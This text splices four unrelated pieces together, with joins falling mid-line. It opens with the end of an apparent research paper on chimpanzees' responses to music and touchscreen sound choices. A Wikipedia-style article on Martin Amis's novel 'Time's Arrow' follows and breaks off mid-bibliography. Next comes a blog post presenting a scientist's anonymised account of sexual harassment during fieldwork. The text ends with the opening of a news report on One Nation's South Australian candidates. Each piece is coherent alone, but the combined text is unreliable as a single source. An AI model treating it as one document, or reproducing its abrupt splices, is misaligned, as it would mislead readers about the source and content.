meaning that all analyses related to the type of sound selected were group based. Data analysis As the position of the four buttons changed after every four sessions and the outcome of each button was not associated with a visual feature such as colour or pattern, the chimpanzees likely needed the first session in each block of four to understand the new contingencies of the buttons and choices in those first sessions may have been based an understanding of the previous set of contingencies. As such, we removed the first session of each set of four from our analyses examining button choice, leaving 12 sessions. All preference analyses were conducted on the group level as we could not match choices with individuals. Do all chimpanzees across groups have a preference for a specific sound? For this we ran a Linear Mixed Model (LMM) where the dependent variable was the number of times each button was pressed during each session (log 10 transformed as the original variable was not normally distributed), the independent variable was the sound associated with that button (silence, classical, rock and African folk music) and the random effects were the chimpanzee group (N = 4) and the experiment session number (N = 12). 192 data points came from four groups that each took part in 12 sessions. Does each group have a preference for a specific sound? Do they prefer silence over music? To identify if each group had a preference for rock, classical, African folk music or silence we compared the distribution of that group’s button presses over the four options with the expected distribution (0.25) using one way Chi squared goodness of fit tests. To see if there was a preference for music over silence we ran binomial tests with an expected frequency of 0.75. Does the interest in pressing the touchscreen decrease over time? We conducted a Pearson’s correlation to examine the relationship between the session number (N = 16) and the mean number of button presses made by the four groups in each session.
Discussion This study shows that, despite having the option to choose the type of sound broadcast and a low cost associated with avoiding a sound they disliked, only one of the four groups (C2) showed a preference for one type of sound, which was classical music and when we looked at all four groups together there was no preference for any of the sounds. The preference of classical music by C2 may not be representative of the whole group as over 75% of button presses were made by just five of the 13 individuals. Recording the type of button pressed by each individual would allow for both group and individual preferences to be established, if they exist. More strikingly, three of the four groups of chimpanzees did not show a persistent preference for any of the genres of music or silence. The lack of preference for African folk music by any of the four groups indicated that it was not preferred over Western music and that it was unlikely that there is any effect of geographical origin of music on chimpanzee preference. Additionally, all four groups combined showed a decrease in interest in interacting with the device. These findings may result from an indifference to the presence or type of music in their environment, but they may also result from individuals not understanding the contingencies between the buttons and the resulting sound. They may even have been frustrated by the task, which could explain the decrease in interest. Although testing only began when more than half of the individuals had interacted with the device, this did not mean that those individuals understood the contingencies between certain button choices and the sound that subsequently played. To be able to state with more certainty that the animals were indifferent to the presence or type of music we need to know that they had sufficient opportunity to learn how the device worked. To address these issues we ran another study at Edinburgh Zoo using a touchscreen device, with a training phase and recorded individual choices.
Study three b: Edinburgh Zoo Aims and research questions This study aimed to continue the work done in study 3a, investigating if when given the choice to control the type of sound a device played, whether the chimpanzees would show any consistent preferences for silence or music. To improve upon the previous study, a new device was created that was able to record the choices made by individuals and a training phase was introduced to increase the chances that the chimpanzees understood the outcome of each button press. African Folk music was not included in this study due to the results of study 3a that suggested that geographical origin of music did not have any effect on chimpanzee preferences. Unlike studies 1 and 2, this study was conducted in the research pods of Budongo Trail, which were much smaller than the indoor pods music was broadcast into previously. Nevertheless, several individuals were usually present simultaneously in the research pods. Individuals were trained, using food rewards, to press differently patterned buttons on and use a touchscreen to select classical music, pop/rock music or silence. After training was completed there was a period of individual testing, that used rewards to encourage participation, followed by an unrewarded group testing phase that aimed to establish the inherent interest in changing the sounds the device played and the effect of sound button choices on all individuals within the research pods. This study allowed us to answer the following questions; i) Do chimpanzees prefer music to silence? If individuals had preferences for silence, classical or pop/rock music we expected them to choose the associated button significantly more than expected by chance in both individual and group testing sessions; ii) Is there a difference in the amount of time each individual was exposed to each sound? Based on the finding of study 1, that music did not affect the chimpanzees’ use of space, we predicted that individuals should be exposed to each sound for similar amounts of time; iii) Does the motivation of the chimpanzees to engage with the touchscreen reduce once food rewards are no longer available? As all previous touchscreen research projects conducted with the Edinburgh chimpanzees have used food rewards during testing and training, we predicted that the chimpanzees would become less motivated to interact with the touchscreen once food rewards had been removed, unless listening to certain sounds was intrinsically rewarding; And iv) Do the button choices of third parties affect how long other individuals choose to spend in the research pods? If choices by third parties had adverse effects on individuals in the area, we expected to find a negative relationship between the number of third party sound changes and duration of time in the research pods.
Methods Study site The training and testing took place in the Research Pods in Budongo Trail covering an area of 26.50m2. Access in and out of these pods (connected to the indoor pods by tunnels) was unrestricted during all sessions. Apparatus Stimuli were presented on a 17 inch ELO IntelliTouch touch panel monitor accessible to chimpanzees through a plexiglass testing window. The touch panel was controlled by a customized PC, running Linux Mint. A Bio-Medica Ltd Universal Feeder and pair of speakers were also attached to the computer, while operation of the apparatus was controlled by keyboard, mouse and an additional monitor, which mirrored what was displayed on the touch panel. All experimental programs were written in Python 3 using Kivy libraries. Participants During the testing phase of the project all 18 adults were given the opportunity to participate. If an individual approached the touchscreen and successfully initiated the training session their progress was recorded. Ten individuals never interacted with the touchscreen. One additional chimpanzee started training but did not complete it. Seven individuals completed training but only six of those took part in individual testing. During group testing, all individuals had access to the research pods and could interact with the touchscreen, regardless of their participation in earlier touchscreen training. Six individuals pressed the buttons on the touchscreen during these group sessions. Of these six, four had completed training as well as taking part in individual testing, one had completed training but not taken part in the individual testing and the final individual had not previously interacted with the touchscreen. General procedure Data were collected between January and April 2015. Experimental sessions were run between 09:00 and 10:00 four days a week. The experimental task on the touchscreen consisted of a green start stimulus, a blue holding screen and a choice screen. The choice screen consisted of three equally sized monochrome buttons, each of which had a consistent outcome (striped pattern played pop/rock music for 3 sec, zigzag pattern played classical music for 3 sec and spotted pattern gave 3 sec silence; Fig 5a, 5b and 5c). During training the buttons were the size of a third of the touchscreen to make it easier for the chimpanzees to press the buttons, meaning that there were three possible positions that they randomly appeared in (Fig 5). During testing, when the three buttons were presented simultaneously, the buttons were smaller to increase the diversity of locations the buttons were presented in and to prevent individuals simply being able to keep their finger in the same place and be rewarded for pressing without looking at the pattern of the button. The positions of the buttons during testing were randomly distributed across nine possible positions in each trial. PPT PowerPoint slide
PowerPoint slide PNG larger image
larger image TIFF original image Download: Fig 5. a, b and c. Images of the three touchscreen buttons, as they appeared during training phases. When pressed, each initiated the following actions: (a) turned on classical music for three seconds, (b) turned music off /silence on for three seconds and (c) turned on pop/rock music for three seconds. https://doi.org/10.1371/journal.pone.0172672.g005 Training There were four levels of training that had to be completed before an individual was able to take part in individual testing: 1) the first type of music button (four individuals started with classical first and three with pop/rock first) was presented singly with the first three seconds of a randomly selected piece of music from a playlist of seven playing when the button was pressed, 2) the other music button presented in the same manner as the previous level, 3) the silence button presented singly along with a randomly selected piece of music out of a choice of 14 (7 classical and 7 pop/rock; S2 Table), which always started at the beginning of the song, so that when the button was pressed the music would stop and there would be silence for three seconds 4) a mixed block with three presentations of each of the three previous levels. Fig 6 shows the order of events within a single training trial and a reward of half a grape was provided when a button was pressed. If an individual did not complete a training level within a single approach of the touchscreen or testing session then the remaining button presses were completed the next time the individual approached the touchscreen, whether it was later in the session or on another day. Once all four levels of training were complete, individual testing could begin. PPT PowerPoint slide
PowerPoint slide PNG larger image
larger image TIFF original image Download: Fig 6. Illustration of the first trial in a classical button training session. This shows the touchscreen images, associated auditory output, actions of the chimpanzees or experimenter, and timings. The downwards arrows indicates a change which is the result of the adjacent action, and is not reflected in an immediate change of visual stimulus. Training continued until the Classical music button had been successfully pressed 10 times, after which the touchscreen was turned off whilst the next training phase was loaded on the computer. If the touchscreen was not interacted with for 30 seconds during a training session, it reverted back to the green circle screen. https://doi.org/10.1371/journal.pone.0172672.g006 Individual testing Individual testing began within the group after six individuals had completed at least half of the training stages. Testing trials were broadly similar to training trials (Fig 6), but differed in the following ways: instead of presenting a large single button, all three buttons were presented at once with their position on the screen randomised over the 9 possible presentation locations (Fig 7). Individuals had to complete 40 trials; 10 where the appearance of the buttons on the screen coincided with classical music starting to play, 10 in which buttons appeared with pop/rock music and 20 where no music accompanied the button screen appearing, the order of which was randomised. Frek was the only individual to complete more than 40 trails as he required two experimental sessions to complete the testing and, due to the randomised order of the trials, he had to complete 68 trials in order to have encountered the required distribution across the three types of trials. The same 14 pieces of music were used for individual and group testing as during training (S2 Table) and always started at the beginning of the piece of music. If the button screen appeared with music and the button for the same type of music was selected, three seconds of a new randomly selected piece of music from that playlist would play. All button presses were rewarded to ensure non-differential reinforcement for the three buttons. PPT PowerPoint slide
PowerPoint slide PNG larger image
larger image TIFF original image Download: Fig 7. Example first two trials during a session of individual testing. Layout is as described in Fig 6. Testing continued until 40 buttons, not including the green start button, had been successfully pressed. If the touchscreen was not interacted with for 30 seconds, it reverted back to the green circle screen. If an individual did not complete the testing within a single approach of the touchscreen or experimental session then the remaining button presses were completed the next time the individual approached the touchscreen, whether it was later in the session or on another day. https://doi.org/10.1371/journal.pone.0172672.g007 Group testing To encourage the chimpanzees into the research pods a bale of straw (approximately 10kg) and 7kg of primate pellets were spread across the two pods. As the chimpanzees were let into the research pods the touchscreen was already displaying the three buttons in a randomised position. For three trials classical music was already playing as the individuals entered the pods, for three pop/rock music was playing, for three sessions there was silence and for three sessions the touchscreen was not physically available to the participants and no music was played (total of 12 trials). This sound would continue until a button was pressed or the trial ended after 60 minutes. If an individual approached the touchscreen and pressed a button, the corresponding genre of music would play or the music would be turned off, until a new button was pressed. If no new button was pressed that music or silence would continue until the end of the trial. No rewards were given for pressing the touchscreen during this phase. On pressing a button, the buttons would disappear and the selected music or silence would play for 3 seconds. After that, the blue holding screen would be displayed for 1.5 seconds before starting a new trial, which began with the start stimulus. If the touchscreen was silent and the ‘off’/silence button was pressed the silence would continue but if one of the types of music was playing and the same button was pressed a new randomly selected piece of music from the same playlist would begin playing. Data was collected on the number and type of buttons pressed by each individual and how long individuals were present in the pod. Observational data collection Observations were recorded simultaneously by two observers at different vantage points using a Panasonic SDR-S26 video camera and an Olympus DM-650 Dictaphone. The times of all entries into and exits out of the Research Pods were recorded as well as all approaches to the touchscreen. An approach was defined as an individual coming within 20 cm of the touchscreen and staying in front of it for more than five seconds, with their face directed towards the touchscreen. An approach was considered terminated as soon as the individual turned their face away from the touchscreen or started moving away from it. The start and end time of all approaches were recorded, as well as if any buttons were pressed, what type of button was pressed and how many times. A second coder was used to confirm the start and end time of approaches from video footage. This was used to compare the number of approaches within three randomly selected trials. An Interobserver reliability test was run giving a Kappa value of.959 where p <.001, indicating that this behaviour had been reliably recorded.
Data analysis In individual and group testing situations, do individuals have a preference for a specific sound? Do they prefer silence over music? We performed individual level analysis and ran these tests for each of the 6 individuals who completed training and the individual testing. To identify if an individual had a preference for either pop/rock, classical music or silence we compared the distribution of an individual’s button presses over the 3 options with the expected distribution (.33) using one way chi squared goodness of fit tests. To see if they had a preference for music over silence we ran binomial tests with an expected frequency of 0.66. For individual testing these tests were run for each of the 6 individuals who completed training and the individual testing (N = 6). For group testing only one individual was included in the analysis for the one way chi squared goodness of fit tests as chi squared tests cannot be run with less than five expected values in each cell. Two individuals were included in the binomial tests as they had more than three button presses. Is there a difference in the amount of time each individual was exposed to each sound? For this we ran an LMM where the dependent variable was how long an individual was exposed to each sound during each stay in the research pods, the independent variable was the type of sound (silence, pop/rock, classical), and the random effects were individual identity and the experiment session number. There was a total of 398 data points from 17 individuals that voluntarily entered the research pods during the course of the nine sessions where the touchscreen was active. Is the duration of time spent in the research pods dependent upon the number of times the sound is changed by third party individuals? To test this we ran a LMM where the dependent variable was the length of time of each stay in the research pods by an individual, the independent variable was how many times the sound was changed by another individual pressing a button during that stay and the random effects were individual identity and the experiment session number to control for these factors. We only included stays in the research pods where another individual pressed a button or buttons to see the effect of the sound being changed by third party individuals. Data was analysed on 196 pod entries from 17 individuals that voluntarily entered the research pods for a period including at least one button press by a third party during the course of the nine sessions where the touchscreen was active. Does the interest in approaching or touching the touchscreen decrease over time? We examined whether interest in the touchscreen, amongst those who chose to approach or interact with it changed with time. For approaches, we calculated the group rate for approaches in each session (total number of approaches by the 12 individuals who had approached the touchscreen at least once divided by the total duration all 12 individuals spent in the pod). We used a Kendall’s Tau, due to the small sample size, to see if the rate of approaches changed over the course of the nine sessions where the touchscreen was in use. We then used a Paired T-test to compare the individual rates (N = 12) for the first three sessions with the last three. We then replicated these analyses for button presses, with data being taken from the N = 6 individuals who pressed the touchscreen buttons in the group sessions.
Discussion This study shows that when the chimpanzees were given the option to learn about the touchscreen device and the outcome of the actions, they did not show any consistent preference for music or silence that lasted over both individual and group trials, which supports the results of study 3a. The existence of some individual preferences during the individual testing, (e.g. Pearl showed a preference for pop/rock and Frek displayed a preference for music over silence), may have been actual preferences, but as these preferences did not persist into group testing they may have been an artefact of individual reinforcement patterns during individual testing. Once rewards were removed during group testing, motivation to engage with the touchscreen was low (Table 8), particularly after the first session (where rewards were likely expected based on the previous individual testing trials). It is possible that the presses that did occur during group testing were showing genuine preferences, but they occurred at such low levels that we did not have a sufficient number of data points to be able to detect these preferences. The apparent lack of consistent preferences could also be due to the individuals not understanding the task. Despite having to complete four training phases before individual testing could begin, the animals may not have fully understood the relationship between the visual stimuli (the different buttons) and the auditory stimuli (the different sounds). In particular, even if individuals had a basic understanding of this relationship, the three second exposure to the different sounds after pressing the button may not have been sufficient for them to distinguish between the types of music. In line with the findings from Study 1, there was no significant difference in the amount of time the animals were exposed to each sound condition in the group testing sessions. Thus it seems they did not leave the research pods to limit their exposure to any sounds they did not like. We also investigated whether there was a negative relationship between the number of changes to the sounds playing and duration of time spent in the research pods, to check whether exposure to repeated third party sound switches may have had negative effects on group members. We felt it was important to test this, as even if the individuals interacting with the device found it enriching, it was possible this was at the detriment of other group members affected by the broadcast sounds. However, the relationship that was found was positive, meaning that the longer an individual was in the research pods the more times there were changes of sound condition. This shows that having a third party changing between the sounds did not cause them to leave the research pods.
General discussion The results of these four studies show that the presence of music has very limited effects on how chimpanzees use the space within their enclosure or the expression of behaviour and that they do not show a consistent preference for either music or silence. We present convergent evidence from four studies over two research sites that have examined responses of chimpanzees at both group and individual levels to passive listening and active choice paradigms. This is the first project to include all of these aspects when investigating the effect of music on chimpanzee welfare. The fact that music had little overall effect on the behaviour of the chimpanzees could have been influenced by relatively low levels of exposure to music over the course of the study. This was an inevitable result of allowing the chimpanzees the option of avoiding the music. During study 1, the mean duration spent in the music pod across 18 individuals during each music period was just over 15 minutes and the average total exposure to music across all of the 38 trials that were included in the analyses was 2.77 hours, or just 14.6% of the total time they could have been exposed to music. Our results suggest that the chimpanzees were not avoiding the music but equally did not seek it out. If it had been possible to play music for several hours a day, as in other zoo-based auditory enrichment studies [15, 16], there would have been a greater chance of an individual being exposed to the music for longer and more chronic exposure music, may then have had a greater effect on behaviour. However, another possible explanation for our results could be that chimpanzees do not find music enjoyable. This is strongly suggested by our result from study 1 where the individuals displayed significantly less socially active behaviours whilst the music was playing. Ritvo and MacDonald [16] found one of three orangutans given the choice of listening to music or silence had no preference for either and that all three animals were unable to distinguish music from samples of scrambled non-music, suggesting that not only is music something primates do not find enriching, it is something they potentially perceive in the same manner as noise. It is maybe unsurprising that non-human primates do not respond to music positively due to music being a human construct. Music seems to be universal amongst human populations [25] and it is even suggested that human language evolved from vocal origins in the form of communal singing [26]. However, what constitutes music varies greatly between cultures [25] and therefore it may be unlikely that a human construct with global variation will be considered enjoyable by any other species, even one as closely related as chimpanzees. A recent fMRI study [27] discovered an area of the human auditory cortex, which is selectively active in response to music rather than speech, regardless of genre, instrumentation or personal enjoyment of the music played. The authors question if this type of organisation is present in the brains of other species or whether this area of selective processing of music is a derived, uniquely human trait. If this is lacking in chimpanzees, and other primates, it could explain why music is something they seem indifferent towards. Whilst it is possible that music is something that is not appreciated by any species other than humans, the fact that the results of our studies contrast with existing work [11, 12, 15] highlights the need for further investigation in different species and contexts. We have shown that group-housed chimpanzees do not appear to benefit from the presence of music but this does not necessarily mean that this is the case for all non-human primate species, especially those that are not group-housed. In conclusion, our studies suggest that it is doubtful that either classical or contemporary pop/rock music have any positive enriching effects for group-housed captive chimpanzees. We suggest that despite the ease and cost efficiency of playing music as a form of enrichment, this is not an effective strategy and alternative types of enrichment should be employed. If facilities play music for the enjoyment of the care staff, music with less than 90 BPM should be played preferentially, but as long as the chimpanzees have the opportunity to avoid the music, as they did in these studies, it is unlikely to have any profoundly negative effects on behaviour.
Acknowledgments We thank the Budongo Trail staff at Edinburgh Zoo and the staff at National Center for Chimpanzee Care for all of their help and support. We thank Vanessa Wilson for her assistance collecting data for study 3b and Meagan Ahlgren for the data collection of study 3a.
Author Contributions Conceptualization: EKW SL BW KS. Data curation: EKW. Formal analysis: EKW. Investigation: EKW DA KK BB AK. Methodology: EKW SL BW KS. Project administration: EKW KS. Resources: EKW DA. Software: DA. Supervision: SL BW KS. Visualization: EKW DA. Writing – original draft: EKW. Writing – review & editing: EKW KS DA KK BB AK SL BW.Time's Arrow: or The Nature of the Offence (1991) is a novel by Martin Amis. It was shortlisted for the Booker Prize in 1991.
Plot summary [ edit ]
The novel recounts the life of a German Holocaust doctor in a disorienting reverse chronology. The narrator, together with the reader, experiences time passing in reverse, as the main character becomes younger and younger during the course of the novel. This is, what many refer to as, a "reversed narrative", which plays a central role in shaping the plot of the novel. The narrator is not exactly the protagonist himself but a secondary consciousness apparently living within him, feeling his feelings but with no access to his thoughts and no control over events. Some passages may be interpreted as hinting that this narrator may in some way be the conscience, but this is not clear. The narrator may alternatively be considered merely a necessary device to narrate a reverse story.
Amis engages in several forms of reverse discourse including reverse dialogue, reverse narrative, and reverse explanation. Amis's use of these techniques is aimed to create an unsettling and irrational aura for the reader; indeed, one of the recurrent themes in the novel is the narrator's persistent misinterpretation of events. For example, he simply accepts that people wait for an hour in a physician's waiting room after being examined, although at some points he has doubts about this tradition. Relationships are portrayed with stormy beginnings that slowly fade into pleasant romances. Although the narrator accepts all this, he is puzzled and feels that the world does not really make sense.
The reverse narrative begins in America, where the doctor is first living in retirement and then practicing medicine. He is always fearful of something and does not want to be too conspicuous. Later he changes his identity and moves to New York. (Considering the story forward, he escaped Europe after the war and succeeded in settling in America, with the assistance of a Reverend Nicholas Kreditor who apparently assists war criminals in hiding.) In 1948 he travels (in reverse) to Portugal, from where he makes his way to Auschwitz.
The doctor, Odilo Unverdorben, assists "Uncle Pepi" (modelled on Josef Mengele) in his torture and murder of Jews. While at Auschwitz, the reverse chronology means that he creates life and heals the sick, rather than the opposite.
What tells me that this is right? What tells me that all the rest was wrong? Certainly not my aesthetic sense. I would never claim that Auschwitz-Birkenau-Monowitz was good to look at. Or to listen to, or to smell, or to taste, or to touch. There was, among my colleagues there, a general though desultory quest for greater elegance. I can understand that word, and all its yearning: elegant. Not for its elegance did I come to love the evening sky above the Vistula, hellish red with the gathering souls. Creation is easy. Also ugly. Hier ist kein warum. Here there is no why. Here there is no when, no how, no where. Our preternatural purpose? To dream a race. To make a people from the weather. From thunder and from lightning. With gas, with electricity, with shit, with fire.(p119-120, Vintage edition, 1992)
In the reversed version of reality, not only is simple chronology reversed (people become younger, and eventually become children, then babies, and then re-enter their mothers' wombs, where they finally cease to exist) but so is morality. Blows heal injuries, doctors cause them. Theft becomes donation, and vice versa. In a passage about prostitutes, doctors harm them while pimps give them money and heal them. When the protagonist reaches Auschwitz, however, the world starts to make sense. A whole new race is created.
Background [ edit ]
Amis first thought up the idea of telling a man's life backwards in time two years before the novel was published. He found a fertile ground for that structure when his friend Robert Jay Lifton gave him a copy of his book, The Nazi Doctors, about the involvement of German doctors in World War II, from Action T4 to the extermination camps. The alternative title for the novel is taken from Primo Levi's The Truce:
So for us even the hour of liberty rang out grave and muffled, and filled our souls with joy and yet with a painful sense of pudency, so that we would have liked to wash our consciences and our memories clean from the foulness that lay upon them; and also with anguish, because we felt that this should never happen, that now nothing could ever happen good and pure enough to rub out our past, and that the scars of the outrage would remain within us forever... Because, and this is the awful privilege of our generation and of my people, no one better than us has ever been able to grasp the incurable nature of the offense, that spreads like a contagion. It is foolish to think that human justice can eradicate it.[1]
Amis also mentioned the critical influence of If This Is a Man, The Drowned and the Saved, and Moments of Reprieve.
Themes and structure [ edit ]
Reverse chronology [ edit ]
As in the French film Irréversible (2002) and American film Memento (2000), the technique of reverse chronology accentuates the importance of the trauma on which the narrative is centred: the narrator is constantly baffled by his environment, yet knows that he is heading towards its predetermined cause. The sense of inevitability and predestination (the narrator often mentions the fact that Odilo can't commit suicide and has no choice but to follow through) further strengthens the significance of the alternative title.
Time's arrow is often associated with the broad definition of entropy. According to the second law of thermodynamics, entropy in a closed system increases with time, therefore establishing the irreversible direction of the latter. Entropy can be viewed, in general terms, as an expression of disorder or randomness in a system. The narrator often repeats his observation that creation is easy, whereas destruction is hard: that is probably the best definition of the reversal of time. Accordingly, the novel brings Odilo back from the state of a sinful, haunted war criminal, to that of an immaculate being.
The novel begins with the words "I moved forward"; this also parallels the reversal of time back to its natural direction in the last paragraph.
Ending [ edit ]
The last paragraph illustrates a certain vision experienced by the narrator a few hours before Odilo's birth: on an open field, lady archers are gathering targets and bows, and shortly after he glimpses an arrow flying point first. This suddenly relates to him the true nature of the arrow of time, and with it the true meaning of Odilo's actions. The reversal of time is referred to also by the trope "slope of pine", similar to the phrase "from swerve of shore to bend of bay" that, in the opening paragraph of Finnegans Wake, also denotes the curving of time (in the latter case, its looping back to the beginning).
According to Amis's autobiography[2] the story is narrated by the soul of Odilo. This could account for the curious schism between the narrator and his earthly vessel. Also, in the last line of the novel the narrator speaks of himself as "I within, who came at the wrong time – either too soon, or after it was all too late." The ambiguity is perhaps not only due to the last minute reversal of time, making "too soon" and "too late" equivalent.
Bibliography [ edit ]
Adami, Valentina. Trauma Studies and Literature: Martin Amis's Time's Arrow as Trauma Fiction. Frankfurt: Peter Lang, 2008.
Time's Arrow. Frankfurt: Peter Lang, 2008. Brendle, Jeffrey. "Forward to the Past: History and the Reversed Chronology Narrative in Martin Amis's Time's Arrow ". The American Journal of Semiotic 12.1 (1995): 425–445.
". 12.1 (1995): 425–445. Easterbrook, Neil. "'I know that it is to do with trash and shit, and that it is wrong in time': Narrative Reversal in Martin Amis's Time's Arrow ". Conference of College Teachers of English (CCTE) Studies 55 (1995): 52–61.
". (1995): 52–61. Głaz, Adam. “The self in time: Reversing the irreversible in Martin Amis's Time’s Arrow ”. Journal of Literary Semantics 35.2 (2006): 105–122.
”. 35.2 (2006): 105–122. Harris, Greg. "Men Giving Birth to New World Orders: Martin Amis's Time's Arrow ". Studies in the Novel 31.4 (1999): 489–505.
". 31.4 (1999): 489–505. Joffe, Phil. "Language Damage: Nazis and Naming in Martin Amis's Time's Arrow ". Nomina Africana 9.2 (1995): 1–10.
". 9.2 (1995): 1–10. Marta, Jan. "Postmodernizing the Literature-and-Medicine Canon: Self-Conscious Narration, Unruly Texts, and the Viae Ruptae of Narrative Medicine". Literature and Medicine 16.1 (1997): 43–69.
16.1 (1997): 43–69. McCarthy, Dermot. "The Limits of Irony: the Chronillogical World of Martin Amis's Time's Arrow ". War, Literature, and the Arts 11.1 (1999): 294–320.
". 11.1 (1999): 294–320. Menke, Richard. "Narrative Reversal and the Thermodynamics of History in Martin Amis's Time's Arrow ". Modern Fiction Studies 44.4 (1998): 959–80.
". Modern Fiction Studies 44.4 (1998): 959–80. Slater, Maya. "Problems when Time Moves Backwards: Martin Amis's Time's Arrow ". English: The Journal of the English Association 42.173 (1993): 141–52.
". 42.173 (1993): 141–52. Vice, Sue. "Formal Matters: Martin Amis, Time's Arrow". In Vice, Sue. Holocaust Fiction. London, New York: Routledge, 2000, pp. 11–37.
Further reading [ edit ]
Bentley, Nick (2014). Martin Amis (Writers and Their Work). Northcote House Publishing Ltd.
Diedrick, James (2004). Understanding Martin Amis (Understanding Contemporary British Literature). University of South Carolina Press.
Finney, Brian (2013). Martin Amis (Routledge Guides to |
Today I’m going to share something different with you all. Because of this blog, I get a lot of email and contact with women who have stories to tell about their experiences in science. I have heard enough of these by now, stories of harassment and assault, of belittling and being passed over, of subtle and overt sexism, that I feel it’s time to share some of them. What I’ve noticed from these stories is that some individuals, when doing field research in foreign countries, behave in ways that would be considered morally repugnant at home. My hope is that if more people see the reality of these stories, we can work towards solutions around better community monitoring, speaking up, and institutional change.
Deciding to share one’s story is a brave, and in some cases dangerous act. Therefore, in the story you are about to read, the author and I decided to change a few details to protect her anonymity.
* * *
When I began to experience sexual harassment as a graduate student, I felt I was being hazed. As one of few female students in a male-dominated field, I assumed my professor wanted to see how tough I was. I must say, I rose to the challenge. I laughed off his and other male students’ sexualized banter and came back with insults of my own in an attempt to fit in. I was a young, enthusiastic researcher and I wanted to be accepted. I interacted with my professor and male colleagues informally, not realizing how badly it could backfire. As time passed I became a target, rather than a participant in the joking.
In moments of discomfort, I kept my feelings to myself. At our research site in a foreign country, my professor and the male students often made lewd comments about the local women. One day early in my training, my professor took us on a tour of a rural town. We came across a friendly young pregnant woman and her husband. My professor chatted with the couple in their language then turned to me. In English, he commented approvingly upon the woman’s breasts. Her husband realized what he was saying and ordered his wife to cover up. The young woman quickly drew her shawl across her chest, eyes cast to the ground. My professor seemed unconcerned about the humiliation he caused them. I was put off by his lack of respect, but I said nothing. The incident has nagged at me for years.
My professor often joked that only pretty women were allowed to work for him, which led me to wonder if my intellect and skills had ever mattered. He asked very personal questions about my romantic life, often in the presence of the male students. His inappropriate behavior was a model for them, making it not only acceptable, but the norm. My body and my sexuality were openly discussed by my professor and the male students. Comments ensued about the large size of my breasts and there was speculation about my sexual history. There were jokes about selling me as a prostitute on the local market. Once I mentioned that I admired a senior female scientist and they began describing scenarios in which she and I would have sex. Pornographic photos appeared daily in my private workspace. What started out as seemingly harmless joking spiraled out of control. I felt marginalized and under attack, and my work performance suffered as a result.
Often, I was left with a pile of work at night while my professor and his male students went out to bars. They enjoyed the attention of local women, who were attracted to their wealth and prestige as foreigners. Many of my co-workers engaged in affairs with local women. On the other hand, I received unwanted attention if I went out unaccompanied. Local men would follow me down the street, making catcalls, sometimes groping me. Foreign women were often treated that way. Because of this, I became increasingly reliant on the men I worked with, though I felt nearly as unsafe at work as I did in the streets.
By the time the harassment got out of control, it was too late for me to back out. I had spent too many years immersed in the research to walk away and start over. So I modified my own behavior, hoping things might change. I dressed as modestly as possible to avoid drawing attention to my body, but the sexual comments continued. I tried dating one of the male students, thinking that if I had a boyfriend I would be protected. But the romance fizzled, leaving me more vulnerable to humiliation than before. I also tried working twice as hard as everyone else, but my professor never noticed.
I finally confronted my professor, out of desperation rather than courage. It didn’t go very well. He told me that I was oversensitive and that I kept talking like that he’d fire me. And for many reasons, mainly shattered self-esteem, I stayed. The most blatant sexual jokes and comments stopped. My professor curbed his comments out of fear of the consequences. But our relationship deteriorated so much after that conversation that he eventually revoked his promise to fund me through graduate school.
In the early days of my research I knew nothing of academic life. I didn’t realize that many research projects are run like pyramid schemes, with rigid status hierarchies, ruthless competition, the exploitation of students and objectification of women. I realized too late the extent of the strings attached to the funding my professor had promised. My education was compromised for no reason other than my femaleness.
When a professor makes the commitment to mentor a student, the student’s professional future is in their hands. This should never be taken lightly, and in the case of male professors and female students, it is crucial to maintain ethical boundaries. Women students at foreign research sites are particularly disempowered, being far from family and other support networks. This is the kind of setting in which the power imbalance between student and professor can be exploited.
I have read about sexual harassment lawsuits underway at Yale University. Some of the stories are eerily similar to mine. We start with a young, enthusiastic, intelligent woman. A male professor takes an intellectual interest in her, takes her under his wing, gives her a job and training. When the inappropriate comments start, she feels uncomfortable, but says nothing. She feels indebted to the professor, and he has promised to guide her to a successful career. She becomes deeply engaged in and committed to the research, but the professor continues to pester and demean her. She feels increasingly insecure, and she must decide whether to confront her harasser or leave the research she loves. She has to pay a price, simply for being a woman.
Someone always asks, “Why didn’t she just leave?” Well, she might not leave because she is funded, and there aren’t many other opportunities. She may be too committed to the research. She could be years into a graduate program, and changing professors would slow her progress to graduation substantially. Potential new professors will want to know why she left, and it will be difficult to answer. Others in her field will think she is an unreliable scholar for switching horses midstream. Her professor may refuse to give her a recommendation, limiting her options. She knows her life and her choices will become subject to public scrutiny. She knows that some would say that she was “asking for it.” Finally, she knows that there is a lot to be lost from standing up to an abusive professor.
What can we do about this? Individual responsibility is fundamental, and many women do set boundaries and investigate potential graduate programs for any history of sexual harassment. I wish I had thought of that. But it is not enough to place all responsibility on the would-be victims. Women students deserve to have the same learning options that male students do. In this day and age women should not have to forego certain educational opportunities out of fear of being demoralized, harassed or abused. Universities must hold their professors accountable for their actions. There must be a safe place for women to present their concerns about harassment without having to risk their futures. I also believe that professors with a record of harassment should be ineligible for research funding until they demonstrate a commitment to professional conduct.
I managed to graduate and have a great job doing research I love, but I bet a lot of women in these situations don’t. Fortunately I have discovered a community of brilliant, outspoken and supportive female scientists. If I’d had role models like them as a graduate student, things would have been very different.
To the women who have had experiences similar to mine, I hope you are healing, and I hope you consider sharing your story. And to any women who are currently in such a situation, you are not alone. Don’t be afraid to reach out for support. As I’ve learned the hard way, women in academia really need to look out for each other.Pauline Hanson's One Nation expecting to field dozens of candidates at South Australian election
Posted
Pauline Hanson's One Nation is expecting to field dozens of candidates at the next South Australian election, but experts have predicted it will be tough for the party to cut through.
The party's immediate focus is on the West Australian election next month where it is fielding more than 50 candidates.
But One Nation's South Australian administrator, Steve Burgess, said it was already looking ahead to South Australia and the March 2018 election.
"At a state level, we endorse Pauline Hanson as the party leader. It's her profile and her leadership and really it's her vision," Mr Burgess said.
"The people I speak to on the street tell me that what Pauline Hanson is saying is what they want to happen."
Mr Burgess said One Nation would be a "prominent player" in South Australia, after the party's resurgence in last year's federal election and a strong showing in Queensland and WA.
The small business owner, former soldier and One Nation Senate candidate in the 2016 election said there was mood for change.
"There's a lot of dissatisfaction out there and I don't think the opposition is giving the answers that people are looking for," he said.
"The contest will be interesting, we've got boundary distribution, we've got a government on the nose, and we've got an opposition that hasn't really put forward the image that gives people confidence.
"So obviously with One Nation on the scene and [Senator] Xenophon, anything could happen."
Mr Burgess said he had received at least 30 enquiries from people interested in running as Upper and Lower house candidates and that the party would run as many "qualified candidates" as possible.
But first, it needs to recruit 200 members, to be eligible to register with the Electoral Commission and be a player on the day.
It will be Mr Burgess' job to vet candidates, something that has not previously played out well for One Nation.
"We can't waterboard them and we can't put them under a lie-detector test," he said.
